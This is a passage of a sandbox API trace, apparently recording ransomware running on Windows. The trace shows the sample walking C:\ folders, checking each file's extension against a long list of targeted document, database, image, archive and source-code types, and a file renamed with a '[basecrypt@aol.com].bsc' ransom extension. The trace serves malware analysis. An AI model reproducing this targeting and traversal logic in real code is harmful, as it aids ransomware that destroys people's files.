shared\\ink\\ipsel.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0117.255] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0117.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60 [0117.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60 [0117.256] lstrlenW (lpString=".doc") returned 4 [0117.256] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0117.256] lstrlenW (lpString=".docx") returned 5 [0117.256] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0117.256] lstrlenW (lpString=".pdf") returned 4 [0117.256] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0117.256] lstrlenW (lpString=".xls") returned 4 [0117.256] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0117.256] lstrlenW (lpString=".xlsx") returned 5 [0117.256] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0117.256] lstrlenW (lpString=".ppt") returned 4 [0117.256] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0117.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60 [0117.256] lstrlenW (lpString=".zip") returned 4 [0117.256] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0117.256] lstrlenW (lpString=".rar") returned 4 [0117.256] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0117.256] lstrlenW (lpString=".bz2") returned 4 [0117.256] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0117.256] lstrlenW (lpString=".7z") returned 3 [0117.256] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0117.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60 [0117.256] lstrlenW (lpString=".dbf") returned 4 [0117.256] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0117.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60 [0117.257] lstrlenW (lpString=".1cd") returned 4 [0117.257] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0117.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60 [0117.257] lstrlenW (lpString=".jpg") returned 4 [0117.257] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0117.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60 [0117.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60 [0117.257] lstrlenW (lpString=".doc") returned 4 [0117.257] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0117.257] lstrlenW (lpString=".docx") returned 5 [0117.257] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0117.257] lstrlenW (lpString=".pdf") returned 4 [0117.257] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0117.257] lstrlenW (lpString=".xls") returned 4 [0117.257] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0117.257] lstrlenW (lpString=".xlsx") returned 5 [0117.257] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0117.257] lstrlenW (lpString=".ppt") returned 4 [0117.257] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0117.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60 [0117.257] lstrlenW (lpString=".zip") returned 4 [0117.257] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0117.257] lstrlenW (lpString=".rar") returned 4 [0117.257] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0117.257] lstrlenW (lpString=".bz2") returned 4 [0117.257] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0117.257] lstrlenW (lpString=".7z") returned 3 [0117.257] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0117.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60 [0117.257] lstrlenW (lpString=".dbf") returned 4 [0117.257] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0117.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60 [0117.257] lstrlenW (lpString=".1cd") returned 4 [0117.258] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0117.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60 [0117.258] lstrlenW (lpString=".jpg") returned 4 [0117.258] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0117.258] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0117.258] lstrlenW (lpString="ipsptg.xml") returned 10 [0117.258] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 20 os_tid = 0xf50 [0099.858] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3cf1b48 [0099.858] lstrlenW (lpString="C:") returned 2 [0099.858] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x38ffcf8 | out: lpFindFileData=0x38ffcf8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x4290240 [0100.018] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0100.018] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1 [0100.018] lstrlenW (lpString="$GetCurrent") returned 11 [0100.018] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1 [0100.018] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4291058 [0100.019] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0100.019] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x4290680 [0100.214] FindNextFileW (in: hFindFile=0x4290680, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0100.214] FindNextFileW (in: hFindFile=0x4290680, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Logs", cAlternateFileName="")) returned 1 [0100.214] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0100.214] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1 [0100.214] lstrlenW (lpString="Logs") returned 4 [0100.214] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1 [0100.214] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x42a1060 [0100.215] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0100.215] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42903c0 [0100.336] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.336] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x542c8aac, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0xafe5f7a, ftLastWriteTime.dwHighDateTime=0x1d3273e, nFileSizeHigh=0x0, nFileSizeLow=0xa6b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log", cAlternateFileName="DOWNLE~1.LOG")) returned 1 [0100.336] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37 [0100.336] lstrlenW (lpString=".1cd") returned 4 [0100.336] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0100.336] lstrlenW (lpString=".3ds") returned 4 [0100.336] lstrcmpiW (lpString1=".3ds", lpString2=".log") returned -1 [0100.336] lstrlenW (lpString=".3fr") returned 4 [0100.336] lstrcmpiW (lpString1=".3fr", lpString2=".log") returned -1 [0100.336] lstrlenW (lpString=".3g2") returned 4 [0100.336] lstrcmpiW (lpString1=".3g2", lpString2=".log") returned -1 [0100.336] lstrlenW (lpString=".3gp") returned 4 [0100.336] lstrcmpiW (lpString1=".3gp", lpString2=".log") returned -1 [0100.336] lstrlenW (lpString=".7z") returned 3 [0100.336] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0100.336] lstrlenW (lpString=".accda") returned 6 [0100.336] lstrcmpiW (lpString1=".accda", lpString2="66.log") returned -1 [0100.336] lstrlenW (lpString=".accdb") returned 6 [0100.336] lstrcmpiW (lpString1=".accdb", lpString2="66.log") returned -1 [0100.337] lstrlenW (lpString=".accdc") returned 6 [0100.337] lstrcmpiW (lpString1=".accdc", lpString2="66.log") returned -1 [0100.337] lstrlenW (lpString=".accde") returned 6 [0100.337] lstrcmpiW (lpString1=".accde", lpString2="66.log") returned -1 [0100.337] lstrlenW (lpString=".accdt") returned 6 [0100.337] lstrcmpiW (lpString1=".accdt", lpString2="66.log") returned -1 [0100.337] lstrlenW (lpString=".accdw") returned 6 [0100.337] lstrcmpiW (lpString1=".accdw", lpString2="66.log") returned -1 [0100.337] lstrlenW (lpString=".adb") returned 4 [0100.337] lstrcmpiW (lpString1=".adb", lpString2=".log") returned -1 [0100.337] lstrlenW (lpString=".adp") returned 4 [0100.337] lstrcmpiW (lpString1=".adp", lpString2=".log") returned -1 [0100.337] lstrlenW (lpString=".ai") returned 3 [0100.337] lstrcmpiW (lpString1=".ai", lpString2="log") returned -1 [0100.337] lstrlenW (lpString=".ai3") returned 4 [0100.337] lstrcmpiW (lpString1=".ai3", lpString2=".log") returned -1 [0100.337] lstrlenW (lpString=".ai4") returned 4 [0100.337] lstrcmpiW (lpString1=".ai4", lpString2=".log") returned -1 [0100.337] lstrlenW (lpString=".ai5") returned 4 [0100.337] lstrcmpiW (lpString1=".ai5", lpString2=".log") returned -1 [0100.337] lstrlenW (lpString=".ai6") returned 4 [0100.337] lstrcmpiW (lpString1=".ai6", lpString2=".log") returned -1 [0100.337] lstrlenW (lpString=".ai7") returned 4 [0100.337] lstrcmpiW (lpString1=".ai7", lpString2=".log") returned -1 [0100.337] lstrlenW (lpString=".ai8") returned 4 [0100.337] lstrcmpiW (lpString1=".ai8", lpString2=".log") returned -1 [0100.338] lstrlenW (lpString=".anim") returned 5 [0100.338] lstrcmpiW (lpString1=".anim", lpString2="6.log") returned -1 [0100.338] lstrlenW (lpString=".arw") returned 4 [0100.338] lstrcmpiW (lpString1=".arw", lpString2=".log") returned -1 [0100.338] lstrlenW (lpString=".as") returned 3 [0100.338] lstrcmpiW (lpString1=".as", lpString2="log") returned -1 [0100.338] lstrlenW (lpString=".asa") returned 4 [0100.338] lstrcmpiW (lpString1=".asa", lpString2=".log") returned -1 [0100.338] lstrlenW (lpString=".asc") returned 4 [0100.338] lstrcmpiW (lpString1=".asc", lpString2=".log") returned -1 [0100.338] lstrlenW (lpString=".ascx") returned 5 [0100.338] lstrcmpiW (lpString1=".ascx", lpString2="6.log") returned -1 [0100.338] lstrlenW (lpString=".asm") returned 4 [0100.338] lstrcmpiW (lpString1=".asm", lpString2=".log") returned -1 [0100.338] lstrlenW (lpString=".asmx") returned 5 [0100.338] lstrcmpiW (lpString1=".asmx", lpString2="6.log") returned -1 [0100.338] lstrlenW (lpString=".asp") returned 4 [0100.338] lstrcmpiW (lpString1=".asp", lpString2=".log") returned -1 [0100.338] lstrlenW (lpString=".aspx") returned 5 [0100.338] lstrcmpiW (lpString1=".aspx", lpString2="6.log") returned -1 [0100.338] lstrlenW (lpString=".asr") returned 4 [0100.338] lstrcmpiW (lpString1=".asr", lpString2=".log") returned -1 [0100.338] lstrlenW (lpString=".asx") returned 4 [0100.338] lstrcmpiW (lpString1=".asx", lpString2=".log") returned -1 [0100.338] lstrlenW (lpString=".avi") returned 4 [0100.338] lstrcmpiW (lpString1=".avi", lpString2=".log") returned -1 [0100.338] lstrlenW (lpString=".avs") returned 4 [0100.338] lstrcmpiW (lpString1=".avs", lpString2=".log") returned -1 [0100.339] lstrlenW (lpString=".backup") returned 7 [0100.339] lstrcmpiW (lpString1=".backup", lpString2="766.log") returned -1 [0100.339] lstrlenW (lpString=".bak") returned 4 [0100.339] lstrcmpiW (lpString1=".bak", lpString2=".log") returned -1 [0100.339] lstrlenW (lpString=".bay") returned 4 [0100.339] lstrcmpiW (lpString1=".bay", lpString2=".log") returned -1 [0100.339] lstrlenW (lpString=".bd") returned 3 [0100.339] lstrcmpiW (lpString1=".bd", lpString2="log") returned -1 [0100.339] lstrlenW (lpString=".bin") returned 4 [0100.339] lstrcmpiW (lpString1=".bin", lpString2=".log") returned -1 [0100.339] lstrlenW (lpString=".bmp") returned 4 [0100.339] lstrcmpiW (lpString1=".bmp", lpString2=".log") returned -1 [0100.339] lstrlenW (lpString=".bz2") returned 4 [0100.339] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0100.339] lstrlenW (lpString=".c") returned 2 [0100.339] lstrcmpiW (lpString1=".c", lpString2="og") returned -1 [0100.339] lstrlenW (lpString=".cdr") returned 4 [0100.339] lstrcmpiW (lpString1=".cdr", lpString2=".log") returned -1 [0100.339] lstrlenW (lpString=".cer") returned 4 [0100.339] lstrcmpiW (lpString1=".cer", lpString2=".log") returned -1 [0100.339] lstrlenW (lpString=".cf") returned 3 [0100.339] lstrcmpiW (lpString1=".cf", lpString2="log") returned -1 [0100.339] lstrlenW (lpString=".cfc") returned 4 [0100.339] lstrcmpiW (lpString1=".cfc", lpString2=".log") returned -1 [0100.339] lstrlenW (lpString=".cfm") returned 4 [0100.339] lstrcmpiW (lpString1=".cfm", lpString2=".log") returned -1 [0100.340] lstrlenW (lpString=".cfml") returned 5 [0100.340] lstrcmpiW (lpString1=".cfml", lpString2="6.log") returned -1 [0100.340] lstrlenW (lpString=".cfu") returned 4 [0100.340] lstrcmpiW (lpString1=".cfu", lpString2=".log") returned -1 [0100.340] lstrlenW (lpString=".chm") returned 4 [0100.340] lstrcmpiW (lpString1=".chm", lpString2=".log") returned -1 [0100.340] lstrlenW (lpString=".cin") returned 4 [0100.340] lstrcmpiW (lpString1=".cin", lpString2=".log") returned -1 [0100.340] lstrlenW (lpString=".class") returned 6 [0100.340] lstrcmpiW (lpString1=".class", lpString2="66.log") returned -1 [0100.340] lstrlenW (lpString=".clx") returned 4 [0100.340] lstrcmpiW (lpString1=".clx", lpString2=".log") returned -1 [0100.340] lstrlenW (lpString=".config") returned 7 [0100.340] lstrcmpiW (lpString1=".config", lpString2="766.log") returned -1 [0100.340] lstrlenW (lpString=".cpp") returned 4 [0100.340] lstrcmpiW (lpString1=".cpp", lpString2=".log") returned -1 [0100.340] lstrlenW (lpString=".cr2") returned 4 [0100.340] lstrcmpiW (lpString1=".cr2", lpString2=".log") returned -1 [0100.340] lstrlenW (lpString=".crt") returned 4 [0100.340] lstrcmpiW (lpString1=".crt", lpString2=".log") returned -1 [0100.340] lstrlenW (lpString=".crw") returned 4 [0100.340] lstrcmpiW (lpString1=".crw", lpString2=".log") returned -1 [0100.340] lstrlenW (lpString=".cs") returned 3 [0100.340] lstrcmpiW (lpString1=".cs", lpString2="log") returned -1 [0100.340] lstrlenW (lpString=".css") returned 4 [0100.340] lstrcmpiW (lpString1=".css", lpString2=".log") returned -1 [0100.340] lstrlenW (lpString=".csv") returned 4 [0100.341] lstrcmpiW (lpString1=".csv", lpString2=".log") returned -1 [0100.341] lstrlenW (lpString=".cub") returned 4 [0100.341] lstrcmpiW (lpString1=".cub", lpString2=".log") returned -1 [0100.341] lstrlenW (lpString=".dae") returned 4 [0100.341] lstrcmpiW (lpString1=".dae", lpString2=".log") returned -1 [0100.341] lstrlenW (lpString=".dat") returned 4 [0100.341] lstrcmpiW (lpString1=".dat", lpString2=".log") returned -1 [0100.341] lstrlenW (lpString=".db") returned 3 [0100.341] lstrcmpiW (lpString1=".db", lpString2="log") returned -1 [0100.341] lstrlenW (lpString=".dbf") returned 4 [0100.341] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0100.341] lstrlenW (lpString=".dbx") returned 4 [0100.341] lstrcmpiW (lpString1=".dbx", lpString2=".log") returned -1 [0100.341] lstrlenW (lpString=".dc3") returned 4 [0100.341] lstrcmpiW (lpString1=".dc3", lpString2=".log") returned -1 [0100.341] lstrlenW (lpString=".dcm") returned 4 [0100.341] lstrcmpiW (lpString1=".dcm", lpString2=".log") returned -1 [0100.341] lstrlenW (lpString=".dcr") returned 4 [0100.341] lstrcmpiW (lpString1=".dcr", lpString2=".log") returned -1 [0100.341] lstrlenW (lpString=".der") returned 4 [0100.341] lstrcmpiW (lpString1=".der", lpString2=".log") returned -1 [0100.341] lstrlenW (lpString=".dib") returned 4 [0100.341] lstrcmpiW (lpString1=".dib", lpString2=".log") returned -1 [0100.341] lstrlenW (lpString=".dic") returned 4 [0100.341] lstrcmpiW (lpString1=".dic", lpString2=".log") returned -1 [0100.341] lstrlenW (lpString=".dif") returned 4 [0100.341] lstrcmpiW (lpString1=".dif", lpString2=".log") returned -1 [0100.342] lstrlenW (lpString=".divx") returned 5 [0100.342] lstrcmpiW (lpString1=".divx", lpString2="6.log") returned -1 [0100.342] lstrlenW (lpString=".djvu") returned 5 [0100.342] lstrcmpiW (lpString1=".djvu", lpString2="6.log") returned -1 [0100.342] lstrlenW (lpString=".dng") returned 4 [0100.342] lstrcmpiW (lpString1=".dng", lpString2=".log") returned -1 [0100.342] lstrlenW (lpString=".doc") returned 4 [0100.342] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0100.342] lstrlenW (lpString=".docm") returned 5 [0100.342] lstrcmpiW (lpString1=".docm", lpString2="6.log") returned -1 [0100.342] lstrlenW (lpString=".docx") returned 5 [0100.342] lstrcmpiW (lpString1=".docx", lpString2="6.log") returned -1 [0100.342] lstrlenW (lpString=".dot") returned 4 [0100.342] lstrcmpiW (lpString1=".dot", lpString2=".log") returned -1 [0100.342] lstrlenW (lpString=".dotm") returned 5 [0100.342] lstrcmpiW (lpString1=".dotm", lpString2="6.log") returned -1 [0100.342] lstrlenW (lpString=".dotx") returned 5 [0100.342] lstrcmpiW (lpString1=".dotx", lpString2="6.log") returned -1 [0100.342] lstrlenW (lpString=".dpx") returned 4 [0100.342] lstrcmpiW (lpString1=".dpx", lpString2=".log") returned -1 [0100.342] lstrlenW (lpString=".dqy") returned 4 [0100.342] lstrcmpiW (lpString1=".dqy", lpString2=".log") returned -1 [0100.342] lstrlenW (lpString=".dsn") returned 4 [0100.342] lstrcmpiW (lpString1=".dsn", lpString2=".log") returned -1 [0100.342] lstrlenW (lpString=".dt") returned 3 [0100.342] lstrcmpiW (lpString1=".dt", lpString2="log") returned -1 [0100.343] lstrlenW (lpString=".dtd") returned 4 [0100.343] lstrcmpiW (lpString1=".dtd", lpString2=".log") returned -1 [0100.343] lstrlenW (lpString=".dwg") returned 4 [0100.343] lstrcmpiW (lpString1=".dwg", lpString2=".log") returned -1 [0100.343] lstrlenW (lpString=".dwt") returned 4 [0100.343] lstrcmpiW (lpString1=".dwt", lpString2=".log") returned -1 [0100.343] lstrlenW (lpString=".dx") returned 3 [0100.343] lstrcmpiW (lpString1=".dx", lpString2="log") returned -1 [0100.343] lstrlenW (lpString=".dxf") returned 4 [0100.343] lstrcmpiW (lpString1=".dxf", lpString2=".log") returned -1 [0100.343] lstrlenW (lpString=".edml") returned 5 [0100.343] lstrcmpiW (lpString1=".edml", lpString2="6.log") returned -1 [0100.343] lstrlenW (lpString=".efd") returned 4 [0100.343] lstrcmpiW (lpString1=".efd", lpString2=".log") returned -1 [0100.343] lstrlenW (lpString=".elf") returned 4 [0100.343] lstrcmpiW (lpString1=".elf", lpString2=".log") returned -1 [0100.343] lstrlenW (lpString=".emf") returned 4 [0100.343] lstrcmpiW (lpString1=".emf", lpString2=".log") returned -1 [0100.343] lstrlenW (lpString=".emz") returned 4 [0100.343] lstrcmpiW (lpString1=".emz", lpString2=".log") returned -1 [0100.343] lstrlenW (lpString=".epf") returned 4 [0100.343] lstrcmpiW (lpString1=".epf", lpString2=".log") returned -1 [0100.343] lstrlenW (lpString=".eps") returned 4 [0100.343] lstrcmpiW (lpString1=".eps", lpString2=".log") returned -1 [0100.343] lstrlenW (lpString=".epsf") returned 5 [0100.343] lstrcmpiW (lpString1=".epsf", lpString2="6.log") returned -1 [0100.344] lstrlenW (lpString=".epsp") returned 5 [0100.344] lstrcmpiW (lpString1=".epsp", lpString2="6.log") returned -1 [0100.344] lstrlenW (lpString=".erf") returned 4 [0100.344] lstrcmpiW (lpString1=".erf", lpString2=".log") returned -1 [0100.344] lstrlenW (lpString=".exr") returned 4 [0100.344] lstrcmpiW (lpString1=".exr", lpString2=".log") returned -1 [0100.344] lstrlenW (lpString=".f4v") returned 4 [0100.344] lstrcmpiW (lpString1=".f4v", lpString2=".log") returned -1 [0100.344] lstrlenW (lpString=".fido") returned 5 [0100.344] lstrcmpiW (lpString1=".fido", lpString2="6.log") returned -1 [0100.344] lstrlenW (lpString=".flm") returned 4 [0100.344] lstrcmpiW (lpString1=".flm", lpString2=".log") returned -1 [0100.344] lstrlenW (lpString=".flv") returned 4 [0100.344] lstrcmpiW (lpString1=".flv", lpString2=".log") returned -1 [0100.344] lstrlenW (lpString=".frm") returned 4 [0100.344] lstrcmpiW (lpString1=".frm", lpString2=".log") returned -1 [0100.344] lstrlenW (lpString=".fxg") returned 4 [0100.344] lstrcmpiW (lpString1=".fxg", lpString2=".log") returned -1 [0100.344] lstrlenW (lpString=".geo") returned 4 [0100.344] lstrcmpiW (lpString1=".geo", lpString2=".log") returned -1 [0100.344] lstrlenW (lpString=".gif") returned 4 [0100.344] lstrcmpiW (lpString1=".gif", lpString2=".log") returned -1 [0100.344] lstrlenW (lpString=".grs") returned 4 [0100.344] lstrcmpiW (lpString1=".grs", lpString2=".log") returned -1 [0100.344] lstrlenW (lpString=".gz") returned 3 [0100.344] lstrcmpiW (lpString1=".gz", lpString2="log") returned -1 [0100.344] lstrlenW (lpString=".h") returned 2 [0100.345] lstrcmpiW (lpString1=".h", lpString2="og") returned -1 [0100.345] lstrlenW (lpString=".hdr") returned 4 [0100.345] lstrcmpiW (lpString1=".hdr", lpString2=".log") returned -1 [0100.345] lstrlenW (lpString=".hpp") returned 4 [0100.345] lstrcmpiW (lpString1=".hpp", lpString2=".log") returned -1 [0100.345] lstrlenW (lpString=".hta") returned 4 [0100.345] lstrcmpiW (lpString1=".hta", lpString2=".log") returned -1 [0100.345] lstrlenW (lpString=".htc") returned 4 [0100.345] lstrcmpiW (lpString1=".htc", lpString2=".log") returned -1 [0100.345] lstrlenW (lpString=".htm") returned 4 [0100.345] lstrcmpiW (lpString1=".htm", lpString2=".log") returned -1 [0100.345] lstrlenW (lpString=".html") returned 5 [0100.345] lstrcmpiW (lpString1=".html", lpString2="6.log") returned -1 [0100.345] lstrlenW (lpString=".icb") returned 4 [0100.345] lstrcmpiW (lpString1=".icb", lpString2=".log") returned -1 [0100.345] lstrlenW (lpString=".ics") returned 4 [0100.345] lstrcmpiW (lpString1=".ics", lpString2=".log") returned -1 [0100.345] lstrlenW (lpString=".iff") returned 4 [0100.345] lstrcmpiW (lpString1=".iff", lpString2=".log") returned -1 [0100.345] lstrlenW (lpString=".inc") returned 4 [0100.345] lstrcmpiW (lpString1=".inc", lpString2=".log") returned -1 [0100.345] lstrlenW (lpString=".indd") returned 5 [0100.345] lstrcmpiW (lpString1=".indd", lpString2="6.log") returned -1 [0100.345] lstrlenW (lpString=".ini") returned 4 [0100.345] lstrcmpiW (lpString1=".ini", lpString2=".log") returned -1 [0100.346] lstrlenW (lpString=".iqy") returned 4 [0100.346] lstrcmpiW (lpString1=".iqy", lpString2=".log") returned -1 [0100.346] lstrlenW (lpString=".j2c") returned 4 [0100.346] lstrcmpiW (lpString1=".j2c", lpString2=".log") returned -1 [0100.346] lstrlenW (lpString=".j2k") returned 4 [0100.346] lstrcmpiW (lpString1=".j2k", lpString2=".log") returned -1 [0100.346] lstrlenW (lpString=".java") returned 5 [0100.346] lstrcmpiW (lpString1=".java", lpString2="6.log") returned -1 [0100.346] lstrlenW (lpString=".jp2") returned 4 [0100.346] lstrcmpiW (lpString1=".jp2", lpString2=".log") returned -1 [0100.346] lstrlenW (lpString=".jpc") returned 4 [0100.346] lstrcmpiW (lpString1=".jpc", lpString2=".log") returned -1 [0100.346] lstrlenW (lpString=".jpe") returned 4 [0100.346] lstrcmpiW (lpString1=".jpe", lpString2=".log") returned -1 [0100.346] lstrlenW (lpString=".jpeg") returned 5 [0100.346] lstrcmpiW (lpString1=".jpeg", lpString2="6.log") returned -1 [0100.346] lstrlenW (lpString=".jpf") returned 4 [0100.346] lstrcmpiW (lpString1=".jpf", lpString2=".log") returned -1 [0100.346] lstrlenW (lpString=".jpg") returned 4 [0100.346] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0100.346] lstrlenW (lpString=".jpx") returned 4 [0100.346] lstrcmpiW (lpString1=".jpx", lpString2=".log") returned -1 [0100.346] lstrlenW (lpString=".js") returned 3 [0100.346] lstrcmpiW (lpString1=".js", lpString2="log") returned -1 [0100.346] lstrlenW (lpString=".jsf") returned 4 [0100.347] lstrcmpiW (lpString1=".jsf", lpString2=".log") returned -1 [0100.347] lstrlenW (lpString=".json") returned 5 [0100.347] lstrcmpiW (lpString1=".json", lpString2="6.log") returned -1 [0100.347] lstrlenW (lpString=".jsp") returned 4 [0100.347] lstrcmpiW (lpString1=".jsp", lpString2=".log") returned -1 [0100.347] lstrlenW (lpString=".kdc") returned 4 [0100.347] lstrcmpiW (lpString1=".kdc", lpString2=".log") returned -1 [0100.347] lstrlenW (lpString=".kmz") returned 4 [0100.347] lstrcmpiW (lpString1=".kmz", lpString2=".log") returned -1 